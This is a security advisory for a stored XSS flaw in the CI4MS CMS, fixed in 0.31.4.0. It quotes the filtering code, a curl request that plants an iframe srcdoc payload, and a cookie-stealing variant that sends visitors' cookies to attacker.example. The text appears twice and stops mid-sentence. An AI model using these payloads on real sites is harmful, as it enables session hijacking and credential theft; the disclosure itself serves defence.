CVE-2026-39390

CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to 0.31.4.0, the Google Maps iframe setting (cMap field) in compInfosPost() sanitizes input using strip_tags() with an <iframe> allowlist and regex-based removal of on\w+ event handlers. However, the srcdoc attribute is not an event handler and passes all filters. An attacker with admin settings access can inject an <iframe srcdoc="..."> payload with HTML-entity-encoded JavaScript that executes in the context of the parent page when rendered to unauthenticated frontend visitors. This vulnerability is fixed in 0.31.4.0.

CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to 0.31.4.0, the Google Maps iframe setting (cMap field) in compInfosPost() sanitizes input using strip_tags() with an <iframe> allowlist and regex-based removal of on\w+ event handlers. However, the srcdoc attribute is not an event handler and passes all filters. An attacker with admin settings access can inject an <iframe srcdoc="..."> payload with HTML-entity-encoded JavaScript that executes in the context of the parent page when rendered to unauthenticated frontend visitors. This vulnerability is fixed in 0.31.4.0.

Summary

The Google Maps iframe setting (cMap field) in compInfosPost() sanitizes input using strip_tags() with an <iframe> allowlist and regex-based removal of on\w+ event handlers. However, the srcdoc attribute is not an event handler and passes all filters. An attacker with admin settings access can inject an <iframe srcdoc="..."> payload with HTML-entity-encoded JavaScript that executes in the context of the parent page when rendered to unauthenticated frontend visitors.

Details

Input sanitization (modules/Settings/Controllers/Settings.php:49-53):

$mapValue = trim(strip_tags($this->request->getPost('cMap'), '<iframe>'));
$mapValue = preg_replace('/\bon\w+\s*=\s*"[^"]*"/i', '', $mapValue);
$mapValue = preg_replace('/\bon\w+\s*=\s*\'[^\']*\'/i', '', $mapValue);
$mapValue = preg_replace('/\bon\w+\s*=\s*[^\s>]+/i', '', $mapValue);
setting()->set('Gmap.map_iframe', $mapValue);

The three regex patterns only match attributes beginning with on (e.g., onclick, onerror). The srcdoc attribute does not begin with on and passes through untouched.

Output rendering (app/Views/templates/default/gmapiframe.php:3):

<?php echo strip_tags($settings->map_iframe,'<iframe>') ?>

The output applies strip_tags with the same <iframe> allowlist but performs no attribute filtering or HTML encoding. The stored payload is rendered verbatim.

Why HTML entities bypass strip_tags: A payload like <iframe srcdoc="&lt;script&gt;alert(1)&lt;/script&gt;"> contains only one tag (<iframe>), which is in the allowlist. The entity-encoded content (<script>) is not recognized as a tag by strip_tags. However, when the browser renders the srcdoc attribute, it decodes the HTML entities and creates a new browsing context containing <script>alert(1)</script>.

Why this is same-origin: Per the HTML specification, an <iframe srcdoc="..."> without a sandbox attribute inherits the parent document's origin. The injected script has full access to the parent page's cookies, DOM, and session.

PoC

Prerequisites: Authenticated admin session with update role on the Settings module.

Step 1: Inject the payload

curl -X POST 'https://target/backend/settings/compInfos' \
  -H 'Cookie: ci_session=ADMIN_SESSION_ID' \
  -d 'cName=TestCo&cAddress=123+Main+St&cPhone=1234567890&[email protected]&cMap=%3Ciframe+srcdoc%3D%22%26lt%3Bscript%26gt%3Balert(document.domain)%26lt%3B%2Fscript%26gt%3B%22%3E%3C%2Fiframe%3E'

The cMap value decodes to:

<iframe srcdoc="&lt;script&gt;alert(document.domain)&lt;/script&gt;"></iframe>

Step 2: Visit any public page that includes the Google Maps widget

Navigate to the frontend contact or footer page as an unauthenticated visitor. The browser renders the srcdoc iframe, decodes the entities, and executes the script in the parent page's origin.

Expected result: JavaScript alert(document.domain) fires showing the target's domain, confirming same-origin execution.

Cookie theft variant:

<iframe srcdoc="&lt;script&gt;document.location='https://attacker.example/steal?c='+document.cookie&lt;/script&gt;"></iframe>

Impact

• Stored XSS affecting all frontend visitors: The payload persists in the settings database and executes for every unauthenticated visitor viewing pages that include the Google Maps iframe widget.
• Session hijacking: The script executes in the parent page's origin, giving access to session cookies (unless HttpOnly is set) and the full DOM.
• Credential theft: An attacker can inject a fake login form or redirect users to a phishing page.
• Scope change: The attack crosses from the admin backend trust boundary to the public frontend, affecting users who have no relationship with the backend.

The attack requires a compromised or malicious admin account with settings update permission. While this is a privileged starting point (PR:H), the impact crosses to…

CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to 0.31.4.0, the Google Maps iframe setting (cMap field) in compInfosPost() sanitizes input using strip_tags() with an <iframe> allowlist and regex-based removal of on\w+ event handlers. However, the srcdoc attribute is not an event handler and passes all filters. An attacker with admin settings access can inject an <iframe srcdoc="..."> payload with HTML-entity-encoded JavaScript that executes in the context of the parent page when rendered to unauthenticated frontend visitors. This vulnerability is fixed in 0.31.4.0.

CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to 0.31.4.0, the Google Maps iframe setting (cMap field) in compInfosPost() sanitizes input using strip_tags() with an <iframe> allowlist and regex-based removal of on\w+ event handlers. However, the srcdoc attribute is not an event handler and passes all filters. An attacker with admin settings access can inject an <iframe srcdoc="..."> payload with HTML-entity-encoded JavaScript that executes in the context of the parent page when rendered to unauthenticated frontend visitors. This vulnerability is fixed in 0.31.4.0.

Summary

The Google Maps iframe setting (cMap field) in compInfosPost() sanitizes input using strip_tags() with an <iframe> allowlist and regex-based removal of on\w+ event handlers. However, the srcdoc attribute is not an event handler and passes all filters. An attacker with admin settings access can inject an <iframe srcdoc="..."> payload with HTML-entity-encoded JavaScript that executes in the context of the parent page when rendered to unauthenticated frontend visitors.

Details

Input sanitization (modules/Settings/Controllers/Settings.php:49-53):

$mapValue = trim(strip_tags($this->request->getPost('cMap'), '<iframe>'));
$mapValue = preg_replace('/\bon\w+\s*=\s*"[^"]*"/i', '', $mapValue);
$mapValue = preg_replace('/\bon\w+\s*=\s*\'[^\']*\'/i', '', $mapValue);
$mapValue = preg_replace('/\bon\w+\s*=\s*[^\s>]+/i', '', $mapValue);
setting()->set('Gmap.map_iframe', $mapValue);

The three regex patterns only match attributes beginning with on (e.g., onclick, onerror). The srcdoc attribute does not begin with on and passes through untouched.

Output rendering (app/Views/templates/default/gmapiframe.php:3):

<?php echo strip_tags($settings->map_iframe,'<iframe>') ?>

The output applies strip_tags with the same <iframe> allowlist but performs no attribute filtering or HTML encoding. The stored payload is rendered verbatim.

Why HTML entities bypass strip_tags: A payload like <iframe srcdoc="&lt;script&gt;alert(1)&lt;/script&gt;"> contains only one tag (<iframe>), which is in the allowlist. The entity-encoded content (<script>) is not recognized as a tag by strip_tags. However, when the browser renders the srcdoc attribute, it decodes the HTML entities and creates a new browsing context containing <script>alert(1)</script>.

Why this is same-origin: Per the HTML specification, an <iframe srcdoc="..."> without a sandbox attribute inherits the parent document's origin. The injected script has full access to the parent page's cookies, DOM, and session.

PoC

Prerequisites: Authenticated admin session with update role on the Settings module.

Step 1: Inject the payload

curl -X POST 'https://target/backend/settings/compInfos' \
  -H 'Cookie: ci_session=ADMIN_SESSION_ID' \
  -d 'cName=TestCo&cAddress=123+Main+St&cPhone=1234567890&[email protected]&cMap=%3Ciframe+srcdoc%3D%22%26lt%3Bscript%26gt%3Balert(document.domain)%26lt%3B%2Fscript%26gt%3B%22%3E%3C%2Fiframe%3E'

The cMap value decodes to:

<iframe srcdoc="&lt;script&gt;alert(document.domain)&lt;/script&gt;"></iframe>

Step 2: Visit any public page that includes the Google Maps widget

Navigate to the frontend contact or footer page as an unauthenticated visitor. The browser renders the srcdoc iframe, decodes the entities, and executes the script in the parent page's origin.

Expected result: JavaScript alert(document.domain) fires showing the target's domain, confirming same-origin execution.

Cookie theft variant:

<iframe srcdoc="&lt;script&gt;document.location='https://attacker.example/steal?c='+document.cookie&lt;/script&gt;"></iframe>

Impact

• Stored XSS affecting all frontend visitors: The payload persists in the settings database and executes for every unauthenticated visitor viewing pages that include the Google Maps iframe widget.
• Session hijacking: The script executes in the parent page's origin, giving access to session cookies (unless HttpOnly is set) and the full DOM.
• Credential theft: An attacker can inject a fake login form or redirect users to a phishing page.
• Scope change: The attack crosses from the admin backend trust boundary to the public frontend, affecting users who have no relationship with the backend.

The attack requires a compromised or malicious admin account with settings update permission. While this is a privileged starting point (PR:H), the impact crosses to…